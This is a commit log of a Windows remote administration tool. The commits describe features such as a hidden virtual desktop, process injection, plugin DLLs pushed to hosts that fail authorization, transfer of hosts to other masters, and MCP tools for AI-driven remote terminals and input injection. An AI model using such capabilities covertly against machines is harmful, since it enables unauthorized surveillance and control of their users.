opening remote desktop or file manager. The IOCP send path batches two
consecutive Send2Client calls into one WSASend of the accumulated
OutCompressedBuffer, so the client received the [FILE_SPEED][SCREEN_SPY]
command stream twice - the root cause of two remote-desktop dialogs popping
up on a single click (introduced in commit 76decec).

Fold the two values into MasterSettings (TransferChunkKb / TransferDurationMs,
uint16 each, before Reserved, sizeof unchanged at 1000) so they reach every
client on login and are broadcast to online clients when the dialog saves.
The client persists them into [transfer] on CMD_MASTERSETTING, guarded by
TransferChunkKb != 0 so older masters keep local defaults. CMD_FILE_SPEED(252)
and its client handler remain for backward compatibility, but the master no
longer sends it.

Update the design doc, the three GBK lang files' prompt entry, and the READMEs.

Co-Authored-By: deepseek-v4-pro
2026-10-07 21:19:04 +02:00
yuanyuanxiang b89428bf35 Release v1.4.0 2026-10-07 13:57:34 +02:00
yuanyuanxianganddeepseek-v4-pro 3928dd76a3 Feature: Add icons to experimental features submenu
Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro
2026-10-06 18:05:14 +02:00
yuanyuanxianganddeepseek-v4-pro d80d8f21da Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing
TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at
initial TOKEN_AUTH or on a later heartbeat — the server fires the
auth-failed trigger and sends the configured plugin DLLs to the client,
gated by the existing ShouldLogAuth dedup so a persistently failing host
is re-triggered only once per hour or on a state change.

VerifyClientAuth gains a sender parameter so the failure branch can reach
the live connection context; both call sites (TOKEN_AUTH and heartbeat)
pass it. TriggerManager caches the auth-failed plugin names in a separate
set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online
trigger path untouched.

Rework the settings dialog so the plugin checklist reflects the currently
selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE
handler) instead of hardcoding the online trigger; remove the now-unused
GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and
de_DE.

Co-Authored-By: deepseek-v4-pro
2026-10-06 17:50:30 +02:00
yuanyuanxianganddeepseek-v4-pro d269df9171 Feature: Migrate SimplePlugins drawing board (远程画板迁移)
Migrate the SimplePlugins remote drawing-board overlay into the YAMA client
as an "实验功能" right-click submenu entry. DrawingBoardMgr is isolated in
the SimplePluginsDrawingBoard namespace and draws pen paths and text onto a
transparent, top-most layered window.

The YAMA server already had the CDrawingBoard dialog, TOKEN_DRAWING_BOARD
(151) and the full RemoteDraw command set, so only the client overlay
manager and the menu wiring were missing. Add COMMAND_DRAWING_BOARD_PLUGIN
(165) and LoopDrawingBoardPlugin, spawned as a sub-connection from
KernelManager; the constructor sends TOKEN_DRAWING_BOARD so the existing
server dialog opens unchanged. Add a "远程画板" entry to the "实验功能"
submenu, routed via OnExperimentDrawingBoard.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:52:58 +02:00
yuanyuanxianganddeepseek-v4-pro 2fb6252285 Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:41:04 +02:00
yuanyuanxianganddeepseek-v4-pro 2c3e1ca518 Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:09:26 +02:00
yuanyuanxianganddeepseek-v4-pro f72fda9b71 Feature: Machine management (主机管理)
Migrate the MachineManager client from SimplePlugins and wire the server toolbar.

Client:
- Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts
  enumeration plus process injection via yapi.hpp).
- Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated
  sub-connection in KernelManager.
- Register MachineManager.cpp/.h and yapi.hpp in both client projects.

Server:
- Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon,
  plus en/zh_TW/de translations.

Fix:
- Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the
  enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD.

Co-Authored-By: deepseek-v4-pro
2026-10-04 21:03:03 +02:00
yuanyuanxianganddeepseek-v4-pro c906a46bcc Fix: garbled instant-message popup title on client
The IDD_DIALOG caption was stored as UTF-8 bytes while the .rc file declares #pragma code_page(936) (GBK), so the resource compiler mis-decoded the caption and the client's bottom-right popup showed a garbled title. Convert the caption to GBK to match the declared code page and the rest of the file.

Co-Authored-By: deepseek-v4-pro
2026-10-04 20:10:12 +02:00
yuanyuanxianganddeepseek-v4-pro 6c9fef8793 Feature: Two-way remote chat (远程交谈)
Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro
2026-10-04 19:55:29 +02:00
yuanyuanxianganddeepseek-v4-pro bbdb4104bf Feature: TCP/UDP connection management with force-disconnect
Add a connection-management feature to YAMA: a toolbar button (after MCP)
opens a dialog listing the managed host's TCP/UDP connections, with
right-click force-disconnect for IPv4 TCP rows.

Client: a new CConnectionsManager enumerates connections via iphlpapi
(GetExtendedTcpTable/GetExtendedUdpTable, IPv4+IPv6) and answers the
refresh and kill commands over a sub-connection.

Server: a new CConnectionsDlg (DialogBase) shows the list with sortable
columns and a right-click menu; the title-bar icon reuses the toolbar's
connection icon (res/connections.ico).

Fix byte order found during review: iphlpapi returns an IPv4 address as a
network-order DWORD and the port's low 16 bits in network order, so
storing them raw made the dialog show reversed IPv4 addresses and ports.
The client now stores addresses as network-order bytes and ports as host
order (ntohs), and reverses the conversion on disconnect.

Co-Authored-By: deepseek-v4-pro
2026-10-04 18:23:06 +02:00
yuanyuanxianganddeepseek-v4-pro 8d0f419093 Improve: multi-line keyword input in notification settings
Replace the single-line, semicolon-separated keyword field with a taller
multi-line edit box (with a vertical scrollbar) where each keyword goes on
its own line. The stored format stays semicolon-separated, so existing
notify.ini files remain valid; load/save convert between newlines and
semicolons, trimming each keyword and skipping empty lines.

Also decode the stored matchPattern as UTF-8 when loading the dialog, so
non-ASCII keywords round-trip correctly (matching the CP_UTF8 encoding
used on save).

Co-Authored-By: deepseek-v4-pro
2026-10-04 14:39:38 +02:00
yuanyuanxianganddeepseek-v4-pro f3a05c14b1 Feature: Play remote audio on iPhone via WebAudio + self-hosted Opus WASM
iOS WebKit lacks Media Source Extensions with WebM/Opus, so remote audio
was silent on iPhone Safari/Chrome even though audio frames kept flowing.
Add a Web Audio API fallback path that decodes Opus packets with the
`opus-decoder` WASM library and schedules them onto an AudioContext.

The decoder bundle is now self-hosted — served at /static/opus-decoder.min.js
by both the Go and C++ servers — instead of pulled from a CDN, which was
unreachable from some networks.

Gotcha fixed during bring-up: the unscoped `opus-decoder` build's
`OpusDecoder.decodeFrame` is synchronous and returns {channelData,
samplesDecoded, sampleRate, errors} directly, not a Promise, so it must be
called in try/catch rather than via .then().

Also remove the on-screen diagnostic overlay (audio toast + frame counter)
used while debugging the phone without a console; diagnostics now go to
console.* only.

Co-Authored-By: deepseek-v4-pro
2026-10-03 18:23:10 +02:00
yuanyuanxianganddeepseek-v4-pro d118558eda Fix: skip wasted geo-IP lookup blocking the host double-click tooltip
The online-host double-click handler called IPConverter::GetGeoLocation on
the UI thread before showing the floating tooltip, even when no local IP
database (QQWry/ip2region) was loaded. In that default configuration the
result is never displayed, yet the call issues up to three synchronous HTTP
requests (5s timeout each), delaying the tooltip by a network round trip or
worse.

Only run the lookup when a local database is actually loaded, and memoize
successful results per IP in a process-wide cache inside GetGeoLocation so
the remaining call sites (license activity, host-login fallback) do not
re-query the same IP. The cache uses function-local statics rather than
class members to keep IPConverter's layout unchanged and stay ABI-compatible
with the precompiled PrivateDesktop_Lib.lib QQWry/Ip2Region subclasses.

Co-Authored-By: deepseek-v4-pro
2026-10-03 09:44:01 +02:00
yuanyuanxianganddeepseek-v4-pro 76decec0fe Feature: Add file-transfer speed dialog with multi-language support
Add a novice-friendly "File Transfer Speed" dialog under the Advanced menu
that controls file-transfer speed in both directions without touching
SimplePlugins. Speed is passed through InitFileUpload's existing
chunkSizeKb/sendDurationMs arguments, so the precompiled library stays
untouched. Seven presets run from ~0.3 MB/s up to a new 10 MB/s tier plus an
unlimited tier; the chosen value is stored in [transfer] ChunkKb/DurationMs.

Upload reads THIS_CFG at the master's InitFileUpload (2015RemoteDlg.cpp:2225)
and takes effect on restart. Download is pushed to the client over a new
CMD_FILE_SPEED (252) command, sent from OnOnlineFileManager and
OnOnlineDesktopManager before each session opens, and read by all four client
InitFileUpload call sites via GetTransferSpeed so the process-global refcount
cannot latch a stale speed. All Chinese strings go through LangManager, with
en_US/zh_TW/de_DE entries added for the tier names, format strings and hint
text.

Co-Authored-By: deepseek-v4-pro
2026-10-02 19:57:57 +02:00
yuanyuanxianganddeepseek-v4-pro 9eed43bc8d Feature: Add MCP device management-control tools (kill/window/service/power)
Add P7 management-control tools behind a single McpManage flag (plus
McpReadonly=0): kill_process, operate_window, control_service and
power_action. The write tools run a ready->confirm lifecycle on their
sub-connection, using a new followUp/followUpSent field to tell the two
arrivals of the same TOKEN_*LIST apart; the write command and the follow-up
refresh command go out as two separate Send2Client calls, with a new
WaitSendIdle() (context.h / Server.h) draining the outbound buffer in between
so the same buffer is never WSASend'd concurrently.

McpSettingsDlg gains a "management operations" checkbox (IDC_MCP_MANAGE), the
main toolbar gains an MCP entry button, and en/de/zh-TW strings are synced.
power_action is fire-and-forget over the main connection (no confirmation).

Verified end-to-end against a real Windows 10/VMware client: kill_process
returns remaining:[] and operate_window/control_service return ok:true with
their confirm packet arriving after an HTTP split. Verification surfaced a
prerequisite parser bug, fixed separately in a72e6eb, where HeaderParser
latched m_bShouldUnmask FALSE on HTTP continuation chunks and dropped the
confirm packet.

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:56:30 +02:00
yuanyuanxianganddeepseek-v4-pro a72e6eb391 Fix: keep m_bShouldUnmask latched TRUE once a connection is HTTP
HeaderParser::Parse reset m_bShouldUnmask to FALSE on any non-HTTP
maskType, including the continuation chunk of an HTTP connection whose
read offset is already past the "POST " header. When a large packet
(e.g. a >1460-byte process list) was split by MSS, the second chunk
latched the flag to FALSE, so the next new HTTP-masked packet was no
longer unmasked: CheckHead then read the HTTP header as the flag,
returned FLAG_UNKNOWN/PARSER_FAILED, and the packet was dropped. This
explains "first packet succeeds, subsequent packets vanish", and why
the MFC process dialog went blank after killing a process (the confirm
packet never reached NotifyProc).

Only clear the flag when the connection was not already determined to
be HTTP (initial -1, or already confirmed non-HTTP).

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:18:26 +02:00
yuanyuanxianganddeepseek-v4-pro e9d60e6e23 Feature: Add Shine/HELL protocol selection to share/transfer host
Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default
checked) so the operator can choose Shine (0) or HELL (1) when sharing or
transferring a host. The chosen protocol is appended to the wire payload as a
trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for
transfer.

The client parses the trailing field from COMMAND_SHARE and
COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so
auto-share/auto-transfer on restart keeps the same protocol. Old clients
ignore the extra field, and old/missing payloads fall back to -1 (baked-in
HELL), preserving compatibility with existing servers and share_list entries.

Co-Authored-By: deepseek-v4-pro
2026-09-11 16:28:37 +02:00
yuanyuanxianganddeepseek-v4-pro 42df128f62 Feature: Support subpath deployment for Go web UI
Add optional YAMA_WEB_BASE_PATH to mount the whole web UI (index, manifest,
static assets, /health, /api/devices, /ws) under a URL prefix such as
/remoter behind a reverse proxy. index.html now uses a __BASE_PATH__
placeholder substituted at serve time, the PWA manifest start_url is rooted
at the base path, and a mount wrapper redirects the bare prefix to prefix/
and strips it before routing. Include nginx, systemd, and env-file deployment
examples for the subpath setup.

The shared placeholder is also handled by the MFC server, which serves from
the domain root and strips __BASE_PATH__ (to "") so its web remote desktop
URLs stay rooted.

Co-Authored-By: deepseek-v4-pro
2026-09-11 12:48:21 +02:00
yuanyuanxianganddeepseek-v4-pro 32cc7af371 Feature: Add configurable screen-preview quality levels menu
Add a "屏幕预览质量等级 (Screen Preview Quality Levels)" item to the
"高级 (Advanced)" menu that opens a dialog to edit the six preset
PreviewProfile levels (target encode width and JPEG quality) used by the
double-click single-preview and loop-snapshot floating windows. The dialog
edits a working copy in a full grid with per-field validation and a
restore-defaults button; on OK it persists the values to the [preview] INI
section.

ChooseScreenPreviewParams now reads from GetPreviewProfileCfg instead of the
hardcoded GetScreenPreviewProfile table, so preview requests sent after a
change use the configured parameters. LoadPreviewProfilesFromCfg loads the
saved levels at startup, falling back to the built-in defaults. Added
en_US/de_DE/zh_TW translations for the new menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-10 14:42:28 +02:00
yuanyuanxianganddeepseek-v4-pro 033ff077ef Feature: Add configurable remote-desktop quality levels menu
Add an "高级 (Advanced)" menu after "其他 (Other)" whose
"远程桌面质量等级 (Remote Desktop Quality Levels)" item opens a dialog to
edit the six preset QualityProfile levels (max FPS, max width, codec
algorithm, bitrate). The dialog edits a working copy in a full grid with
per-field validation and a restore-defaults button; on OK it persists the
values to the [quality] INI section.

The server stays authoritative: LoadQualityProfilesFromCfg loads the saved
levels at startup (falling back to GetQualityProfile defaults), and
ScreenSpyDlg now sends CMD_QUALITY_PROFILES from GetQualityProfileCfg so
new remote-desktop sessions transmit with the configured parameters. Added
en_US/de_DE/zh_TW translations for the menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-09 17:13:17 +02:00
yuanyuanxianganddeepseek-v4-pro 0416dadbba Feature: Add language-switch toolbar button and bilingual dialog
Add a 15th toolbar button "Lang/语言" after the Help button so Chinese
readers can switch language without knowing English; it opens the existing
language-select dialog. The dialog title is now bilingual ("切换语言 /
Switch Language") and its label/buttons use Chinese source strings
("语言:", "确定", "取消"), which still localize to en/de via
TranslateDialog. The toolbar bitmap is extended with a globe icon.

Co-Authored-By: deepseek-v4-pro
2026-09-08 16:34:45 +02:00
yuanyuanxianganddeepseek-v4-pro 91238da50d Feature: Add German (de_DE) language support
Add German as the fourth selectable UI language. The new de_DE.ini mirrors
en_US.ini with byte-identical Chinese keys (2028 lines, zero missing
translations, zero key mismatches), so it passes CheckEncoding and appears in
the language list automatically. German values are pure-ASCII transliterations
(ae/oe/ue/ss) because the GBK/CP936 architecture cannot encode umlauts.
LangManager.h now maps de_DE to the display name "Deutsch". Also translated the
seven Chinese value==key gaps that en_US itself left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-09-06 10:33:49 +02:00
yuanyuanxianganddeepseek-v4-pro 221617fe02 Fix: Translate remaining server UI strings missing _TR/_L
Wrap the last untranslated Chinese UI strings so English mode stops showing
raw Chinese. Format strings passed to sprintf/wsprintf and the status-bar
SendMessageTimeout calls now go through _TRF, and the CString/PostMessage
literals plus a few member-initializer and Compare values go through
_TR/_L. Covers the wallet validation message, the SOCKS proxy connection
log lines, the file-manager status bar, and the machine-info progress
messages.

Add the 24 corresponding entries to lang/en_US.ini and lang/zh_TW.ini
(GBK), keeping the escaped-format-string key style. The Yes/No/Desktop/
Recent keys already existed, so the BuildDlg and CFileManagerDlg compare
fixes reuse them.

Co-Authored-By: deepseek-v4-pro
2026-09-06 09:39:59 +02:00
yuanyuanxianganddeepseek-v4-pro dd845823b6 Feature: Add get/set clipboard buttons to remote desktop toolbar
Add two toolbar buttons — get clipboard (letter C) and set clipboard (letter P) —
after the screenshot button and before the minimize button, so clipboard sync stays
reachable in fullscreen mode where the system menu cannot be opened.

The buttons reuse the existing IDM_GET_CLIPBOARD / IDM_SET_CLIPBOARD system-menu
handlers by posting WM_SYSCOMMAND to the parent. The toolbar button count grows
from 16 to 18, and the slide/animation dimensions are widened from 640 to 720.
Letter C/P icons and Simplified-Chinese source strings ("获取剪贴板", "设置剪贴板")
are added, along with English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-09-03 13:29:39 +02:00
yuanyuanxiang b41b27bfe4 Release v1.3.9 2026-09-02 19:13:40 +02:00
yuanyuanxianganddeepseek-v4-pro 6bcd593b6d Feature: Add upload_file MCP tool (V2 protocol, main-connection upload)
Implement the P2 upload_file tool to push a local file or directory from the
master to an online Windows host over the existing V2 file-transfer protocol.
The server drives FileBatchTransferWorkerV2 synchronously on the main
connection through a headless callback, reuses the list_files chain for the
overwrite pre-check, and is gated by McpFileTransfer=1 plus McpReadonly=0.

The client main connection never initialized the file-transfer module, so
g_status stayed 0 and RecvFileChunkV2 silently dropped every chunk, truncating
uploads to zero bytes. Add a once-per-process lazy InitFileUpload in the
COMMAND_SEND_FILE_V2 handler that mirrors the FileManager init; the destructor
deliberately does not Uninit so g_status remains 1 across reconnects.

Update the design doc to record the client-side change and correct the
upload_file description to state that sha256 is not returned (V2 has no
receiver-to-sender ACK; integrity is checked client-side and logged only).

Co-Authored-By: deepseek-v4-pro
2026-08-31 22:43:16 +02:00
yuanyuanxianganddeepseek-v4-pro 5c77f5ce14 Feature: Add download_file MCP tool (V2 protocol, SHA-256 verified)
download_file pulls a remote file or directory back to the controller over
the existing V2 file-transfer protocol. It reuses COMMAND_LIST_DRIVE to open
the file-manager sub-link, then sends CMD_DOWN_FILES_V2 so the Windows client
streams COMMAND_SEND_FILE_V2 chunks and a per-file COMMAND_FILE_COMPLETE_V2
SHA-256 checksum over its own authenticated sub-connection. The server routes
those two packet types into a new per-device FileTransferSession whenever a
download is pending, so the headless path never opens the GUI progress dialog;
the C2C and existing GUI branches are left untouched.

Files are written under a normalized local_dir, and every chunk filename is
resolved and verified to stay inside local_dir (directories included) to block
.. traversal; overwrite=false skips existing files and counts them as skipped.
One transfer per host (mutually exclusive with the one-shot pending registry),
a dedicated McpFileTransfer=0-by-default gate surfaced in the settings dialog,
and audit logging complete the change. upload_file remains future work.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:51 +02:00
yuanyuanxianganddeepseek-v4-pro ac2855198b Fix: terminal_exec sentinel timeout on numeric timeout_ms and silent commands
Two independent bugs made MCP terminal tools time out despite the command
finishing.

First, timeout_ms is declared integer in the tool schemas but was parsed
through GetStringArg, which only reads JSON strings. A numeric value fell
through to the 20s default, so callers asking for a longer wait were cut off
at 20s. exec_command, terminal_open, terminal_exec and remote_open now parse
timeout_ms through GetIntArg, which accepts both JSON numbers and digit
strings, keeping the 1..600000 range guard.

Second, FindSentinel treated the __MCP_DONE_<nonce>__ marker as a line start
only when preceded by \n. Commands that produce no output (ping > nul,
Start-Sleep, tar -czf) echo their command line ending in \r, so the marker
never matched and the wait ran to timeout even though the command had
completed. The check now also accepts \r.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:22 +02:00
yuanyuanxianganddeepseek-v4-pro 52b4afb8cf Improve: three-state online host list sorting
Clicking the same column header now cycles ascending -> descending ->
restore default order instead of only toggling direction. The default order
is the host connection order, reconstructed by sorting on online time
(descending alive time) so it no longer depends on the in-memory append
order surviving an earlier sort. The reset preference is persisted as an
empty value so it survives a restart.

Co-Authored-By: deepseek-v4-pro
2026-08-29 16:29:49 +02:00
yuanyuanxianganddeepseek-v4-pro 35dc2d89a0 Fix: hold IoRefCount across deferred heartbeat update to prevent use-after-free
Frequent standby-park churn (duplicate logins sharing one clientID) was
crashing the server with 0xC0000409 (STACK_BUFFER_OVERRUN). The heartbeat
handler posts the raw CONTEXT_OBJECT pointer via PostMessageA
(WM_UPDATE_ACTIVEWND) without holding a reference, so RemoveStaleContext
could recycle the context back to the pool and reuse it before the UI
thread consumed the queued message. UpdateActiveWindow then read a
stale/recycled object, and the unguarded Authorization memcpy overflowed
the 200-byte HeartbeatACK field and clobbered the stack cookie.

Hold the object's IoRefCount across the deferred message: fetch_add
before PostMessageA (with rollback on failure) and a paired fetch_sub in
UpdateUserEvent after UpdateActiveWindow returns. RemoveStaleContext
already waits for IoRefCount == 0 before MoveContextToFreePoolList, so
the object is now guaranteed to stay alive for the whole deferred call.

Also bound the three memcpy sites (two Signature[64], one
Authorization[200]) with explicit truncation so an unexpectedly long
signature or license can no longer overflow its fixed buffer in Release
builds, where ASSERT is a no-op.

Co-Authored-By: deepseek-v4-pro
2026-08-29 06:44:27 +02:00
yuanyuanxianganddeepseek-v4-pro d99122b25f Fix: Window manager view check reads stale state after restore
The window manager's "view" action checks the window state against the
ItemData.Data[2] field populated when the list was built. The right-click
show/hide/maximize/minimize handlers updated only the list control's display
text via SetItemText, leaving Data[2] stale. After restoring a minimized
window, viewing still reported "该窗口已最小化" until the dialog was reopened.

Sync Data[2] alongside SetItemText in all four handlers so the view check and
the status-column sort both see the current state.

Co-Authored-By: deepseek-v4-pro
2026-08-26 21:24:07 +02:00
yuanyuanxianganddeepseek-v4-pro d55d40e7a2 Feature: Exclude human Web viewing from MCP remote control sessions
Complete the bidirectional mutual exclusion between MCP remote control
and human Web viewing (§8.2). Direction 1 (remote_open rejected while a
human session holds the screen sub-connection) already existed; this adds
direction 2: a human Web viewer is now rejected while an MCP session owns
the device.

Add a m_McpTriggeredDevices marker (mirroring m_MfcTriggeredDevices) that
is set when an MCP session is created (BeginScreenCtrlOpen) and cleared at
every session-erasure site (CloseScreenCtrlSession, SweepIdleScreenCtrl,
OnScreenControlClosed, EndScreenCtrlAction), so the marker cannot go stale
and permanently block humans. HandleConnect checks IsMcpTriggered before
mutating client state or starting the remote desktop.

Co-Authored-By: deepseek-v4-pro
2026-08-25 14:14:26 +02:00
yuanyuanxianganddeepseek-v4-pro 25a6e2d07a Feature: Add remote_clipboard MCP tool
Add the remote_clipboard tool to the MCP remote control surface, writing
text to the remote host's clipboard via COMMAND_SCREEN_SET_CLIPBOARD
through the established screen sub-connection. Input UTF-8 is converted
to GBK (ToAnsi, code page 936) to match the client's CF_TEXT/ANSI
clipboard path, mirroring the existing CScreenSpyDlg::SendServerClipboard
packet format. Pasting remains a separate step (remote_keyboard Ctrl+V).

Known MVP limitation, documented in the tool description: non-GBK
characters (e.g. emoji) are replaced by '?' on the CF_TEXT path.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:45:51 +02:00
yuanyuanxianganddeepseek-v4-pro 18259b8526 Feature: Add remote_mouse MCP tool
Add the remote_mouse tool to the MCP remote control surface, injecting
mouse events (move / down / up / click / right_click / middle_click /
drag / scroll) into an established remote_open session. Normalized 0..1
coordinates are mapped to physical pixels via the session's captured
resolution and clamped to screen bounds. Scroll follows the existing web
console's wheel sign convention (positive delta scrolls down) and is
vertical-only.

Extract BuildMouseMsg64 into WebService.h as a shared helper, reused by
both the web console's HandleMouse and the new MCP handler so the two
injection paths cannot drift.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:38:09 +02:00
yuanyuanxianganddeepseek-v4-pro f04d892ac8 Feature: Add remote_keyboard MCP tool (key_down / key_up / key_press / type)
Implement milestone M2b of the MCP remote-control design: inject keyboard
events through an existing screen sub-connection.

- Extract the MSG64 keyboard construction from WebService::HandleKey into a
  shared inline BuildKeyMsg64 helper in WebService.h, and have HandleKey use
  it (behaviour-preserving) so the Web and MCP paths cannot drift.
- Add BuildRemoteKeyboard with four actions: key_down / key_up / key_press
  (key name -> VK via MapKeyNameToVk, plus CTRL/ALT/SHIFT/WIN modifiers) and
  type (per-character VkKeyScanA mapping, ASCII only, newline/tab -> Enter/Tab).
  The batch is sent as one [COMMAND_SCREEN_CONTROL][MSG64*N] packet over the
  screen sub-connection under the existing Begin/EndScreenCtrlAction busy
  discipline, then audited via WM_SHOWERRORMSG.

Non-ASCII text is rejected (-32602) and must go through remote_clipboard +
Ctrl+V (milestone M4), matching the design's clipboard path for CJK input.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:22:00 +02:00
yuanyuanxianganddeepseek-v4-pro c844ba7614 Fix: Client misparses screen-control batches when record count is a multiple of 7
ProcessCommand chose the MSG record size by testing "ulLength % 28 == 0"
before "% 48 == 0". The two sizes' least common multiple is 336 (7*48 =
12*28), so a 48-byte batch whose record count is a multiple of 7 was
misclassified as 28-byte MSG32 records, shifting every field and garbling
(or silently dropping) injected input.

Check "% 48 == 0" first. The modern controller always emits 48-byte MSG64;
the 28-byte MSG32 path is legacy 32-bit-controller compatibility and is only
reached when 48 does not divide evenly. This is the first feature (MCP
remote_keyboard "type", and the upcoming remote_mouse drag) to emit
multi-record batches, which is what made the latent bug reachable.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:21:54 +02:00
yuanyuanxianganddeepseek-v4-pro 09018e2b4d Improve: Harden MCP screen-ctrl session state machine for injection
Add the busy/closed flags to ScreenCtrlSession plus BeginScreenCtrlAction
/ EndScreenCtrlAction, mirroring the terminal's busy discipline so an
in-flight injection cannot race with session teardown (review finding #6).

While an injection is in flight (busy=true), OnScreenControlClosed marks the
session closed instead of erasing it (the injection thread, which still holds
subCtx, cleans up in EndScreenCtrlAction), SweepIdleScreenCtrl skips it, and
CloseScreenCtrlSession defers the erase. The subCtx is looked up under
m_ScreenCtrlMutex and the injection is sent outside the lock, matching the
established terminal pattern; the screen sub-connection's CONTEXT_OBJECT::Send2Client
already serializes internally via SendLock.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:04:05 +02:00
yuanyuanxianganddeepseek-v4-pro 6045baadb8 Feature: Add MCP remote_open/remote_close remote control sessions
Add M1 of MCP remote control (docs/Mcp_RemoteControl_Design.md): the
remote_open / remote_close tools plus the ScreenCtrlSession state machine.

remote_open establishes a hidden screen sub-connection by reusing
WebService::StartRemoteDesktop (COMMAND_SCREEN_SPY -> CScreenSpyDlg ->
RegisterScreenContext), polls for the sub-connection plus its physical
resolution (TOKEN_BITMAPINFO -> NotifyResolutionChange -> GetScreenSize),
then records the session (single device, single session, reverse-mapped
subCtx for OfflineProc cleanup) and returns {session_id, screen_w,
screen_h}. remote_close validates session_id and tears down the
sub-connection idempotently. A McpRemoteControl settings checkbox (default
off, requires McpReadonly=0) gates the tools; every open/close is audited
via WM_SHOWERRORMSG.

Gating: multi-monitor hosts are rejected with -32008 (phase 1 supports only
single monitor, where Observe=main screen and Act=virtual desktop coincide);
the monitor count comes from the client heartbeat RES_RESOLUTION ("N:W*H").

Known limitations (deferred to the injection milestones): mutual exclusion
with human remote-desktop viewing is one-directional in M1 (a human who
joins during an MCP session can tear it down on disconnect), and subCtx is
not yet dereferenced so no liveness re-check is needed until
remote_mouse/remote_keyboard.

Co-Authored-By: deepseek-v4-pro
2026-08-25 12:55:52 +02:00
yuanyuanxianganddeepseek-v4-pro 84e3565de1 doc: Add remote control MCP design doc
Add docs/Mcp_RemoteControl_Design.md, the reference design for an
screenshot-driven AI remote-control feature: the existing get_screenshot for
observation plus remote_open/remote_close/remote_mouse/remote_keyboard for
input injection, reusing COMMAND_SCREEN_PREVIEW_REQ and COMMAND_SCREEN_CONTROL
+ MSG64. Coordinates are normalized (0..1) and mapped server-side to physical
pixels; injection runs over the screen sub-connection opened by
WebService::StartRemoteDesktop's hidden CScreenSpyDlg. Includes a
chat-on-behalf experiment case with clipboard-encoding and window-capture
notes.

Also fold in the get_audit_log encoding correction for
docs/Mcp_Terminal_Design.md, so the two doc changes ship as one commit.

Co-Authored-By: deepseek-v4-pro
2026-08-24 21:51:12 +02:00
yuanyuanxianganddeepseek-v4-pro 70dbb6b255 Feature: Add persistent remote terminal MCP tools
Add terminal_open / terminal_exec / terminal_close so an AI can hold one
shell session per Windows host and run a sequence of commands with cwd and
environment preserved, instead of the one-shot exec_command.

The persistent terminal is a separate full-command write capability gated by
McpTerminal (default off) plus McpReadonly=0, with no whitelist and full
audit. One device maps to one terminal session via the shared m_TermSessions
map; idle sessions are swept after 300s. terminal_exec rejects commands that
contain & or | (they corrupt the sentinel control-operator chain) as well as
control characters.

Also harden exec_command and terminal_exec against newline/CR injection, fix a
dangling subCtx after an abrupt shell disconnect, and refresh lastActiveAt on
command completion. Add en/zh-TW translations for the new UI strings and a
design document covering both exec_command and the persistent terminal.

Co-Authored-By: deepseek-v4-pro
2026-08-24 19:11:16 +02:00
